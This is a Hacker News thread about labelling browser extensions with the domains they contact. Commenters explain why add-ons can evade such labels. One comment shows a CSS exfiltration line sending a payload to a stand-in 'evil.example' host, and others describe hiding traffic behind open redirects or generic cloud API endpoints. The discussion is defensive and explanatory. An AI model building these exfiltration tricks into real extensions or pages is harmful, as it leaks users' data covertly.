Hacker News Reader

Comment by Triv888 | Hacker News Reader

Maybe Mozilla could list on the Addon's page a list of domains/IP addresses where data is being sent. A Bit like a table of Nutritional Facts for food, but for extensions.

View on HN

Wouldn’t that be impossible to do as you’d have to somehow execute every code path in the plugin? The domains don’t have to exist as strings - there are lots of ways to obfuscate network requests.

Depending on how you approach it you either end up having to solve the halting problem (spoiler: it's impossible), or restricting what domains an addon can connect to (also impossible given the way addons work. they can inject arbitrary scripts into pages to make requests for them).

But you have all the code and you know which functions/methods/etc that can do requests so it should be trivial... either way, if it is not a solvable problem, there is a major problem in the design.

>But you have all the code and you know which functions/methods/etc that can do requests so it should be trivial

but you can't. See the last part of my comment: "they can inject arbitrary scripts into pages to make requests for them".

>either way, if it is not a solvable problem, there is a major problem in the design.

Not really. It's like complaining that debuggers can impersonate programs they attach themselves to.

> they can inject arbitrary scripts into pages to make requests for them

disallow that behavior?

You could also just pull that code but it might change based on request origin...

Lots of the best extensions are basically "change this webpage when it loads to make it work better." You can't "disallow this behavior" without crippling them.

It could do all the processing locally, easily... what are you talking about?

>It could do all the processing locally, easily...

That's irrelevant. If you can make changes to the page, you can exfiltrate data. The security model for addons isn't designed with restricting an addon's network activity in mind, see my other post: https://news.ycombinator.com/item?id=25623281

Depends on what your addons does. Most addons modify the page in some way. It's also not limited to injecting javascript. You can also exfiltrate data by injecting css (eg. doing something like background-image: url("http://evil.example/?payload=...")) or do javascript injection in alternate ways (eg. adding a <script> element, or adding an onclick attribute).

That's one of the most fundamental functions a browser extension could have

It's possible to make extensions declare which hostnames or registrable domains they need to communicate with. (Apart from pages in which they can run which is already defined with WebExtensions.)

I think you’re right if you’re trying to enumerate where a plug-in will call. However it’s also possible to require that a plug-in provide a list of domains it will call as part of its manifest, display that list to the user and use it as a white list for network access by the plug-in.

This ends up effect as magically determining where it’ll call, with a lot less work.

Except the add on can inject js into webpages that you have open and let the page make connections outside the extension sandbox.

Also it’s pretty easy to just proxy requests through a whitelisted server side site so https://good.com is all that shows but it requests good.com?dest=https://evil.com

Calling a website good.com doesn't make it good. A site with open redirects is a bad site.

Ah, that’s clearly a big issue. Never mind.

Is that why Mozilla is blocking all addons on mobile (except for the selected 11)? They need to fix that shit or start adding useful features to Firefox... Not sure why they arent blocking all extensions on desktop too if they are so bad though.

They're already bleeding market share badly to the Chromium family, and doing that would be quite a thick nail to their popularity coffin...

If you enumerate the ways browsers can make network requests, and if you have access to the source code of the extension, you could prepend the code with a bit of JavaScript that replaces the various network-related functions and methods with code that logs and/or validates the URL before making a request.

The attacker will then inspect itself to see if network loggers are being used, or if it's running in a test environment (network location, machine fingerprint, et.al.) then adapt its behavior accordingly to avoid setting off any warnings.

No, I’m saying modify the source of the extension so that the extension can only make requests to a whitelist of urls. The extension might be able to disable malicious functionality or something, but you can be certain that it’s not making malicious requests.

On my android tablet they checked if my keyboard was us/eu (rain down the malware) or russian/chinese (Keep the app as-is)

And this was Google Play verified with a million downloads.

So bad guys will route all traffic through a proxy instead? eg.

    this addon connects to:
    * https://484044b296.execute-api.us-east-1.amazonaws.com

I always considered proxies, url shorteners, etc to be suspicious in the first place. Some more investigation would be required in some cases.

>I always considered proxies, url shorteners, etc to be suspicious in the first place

It doesn't have to be as overt making it look like a proxy (eg. a endpoint that makes arbitrary http requests on behalf of the caller). It can be as simple as changing the endpoint for the spying service from https://evil.example.com/api/ to https://484044b296.execute-api.us-east-1.amazonaws.com/evil/...

> Some more investigation would be required in some cases.

The point is that the "nutrition facts label" doesn't really do anything because it's trivial to bypass. If it becomes widespread I guarantee every malicious addon maker would adopt this tactic.

Of course it would not be the only element in the table. But either way, it would at least tell you that an extension is leaking data when it isn't supposed to leak data (for extensions that should not require an Internet connection).

I personally would find such an inscrutable name suspicious.

Why? Would connecting to "api.example.com" be less suspicious? The same issue would still be present (namely, smuggling requests to "shady" domains using a mundane domain), and the only difference would be that it demonstrates the author paid $10/yr for the domain.

I should be able to clearly determine the intention of any domain that an extension is going to call. Anything that tries to obsfucate the actual underlying purpose is a red flag.

One might not like Google analytics, but at least you know exactly what you’re going to get when someone calls analytics.google.com.

Perhaps even a need gap for 'little snitch for browser extensions' as a browser extension(Considering OS LS or similar usually gets whitelisted for 80/433 with browsers).

Is it even possible or would the sandbox prevent such an extension from functioning?

Yes, there is probably many extensions that make outside connections that don't add benefit to the user by doing so.

I wish I could block per-app connections on Linux like Little Snitch appear to allow on Mac.

Isn't Little Snitch essentially an interactive firewall? Rather than silently denying/allowing traffic, it needs the user's decision until a connection is white/black listed? Why would this not be allowed on Linux? (other than the app doesn't exist, yet)

https://github.com/evilsocket/opensnitch

However, if you allow everything to 80/443, the extensions would still be able to connect to their servers. Maybe the browsers should add the ability to allow/deny connections per extension.

https://github.com/gustavo-iniguez-goya/opensnitch/issues/21

This is entirely possible. Either by isolating the application into a network namespace (e.g. via firejail or systemd units), with selinux labels, running the process under a custom gid and various other mechanisms.

Anything is possible, but is it relatively easy to block all apps and keep a whitelist of allowed apps?

I have not done that on a desktop but seen it on servers with selinux, each service we added had to be labeled properly to get network access, one extra line in the deployment script. I'm not aware of an GUI tools though, if that's what you're asking. I think that's also the approach android uses to enforce app permissions, they obviously have a gui but that doesn't integrate with normal desktop environments.

a single line in a deployment script is as simple as it can get, thanks, I will need to give this a try

Every once in a while something comes up trying to be 'Little Snitch for Linux' but none has survived AFAIK, To be honest one of the reasons I use macOS is for LS and I've heard few others say that too. But now since macOS is bypassing LS or limiting its function or to put it simply doing weird network stuff I'm planning to get back to Linux.

Extensions used to be able to even network requests triggered by browser internals and by other extensions. I think with webextensions this is no longer possible.

Correction: I meant 80/443 usually gets allowed for entire browser on Little Snitch, so browser extensions dialing something gets through that.

> A Bit like a table of Nutritional Facts for food, but for extensions.

Great idea!

Reply on news.ycombinator.com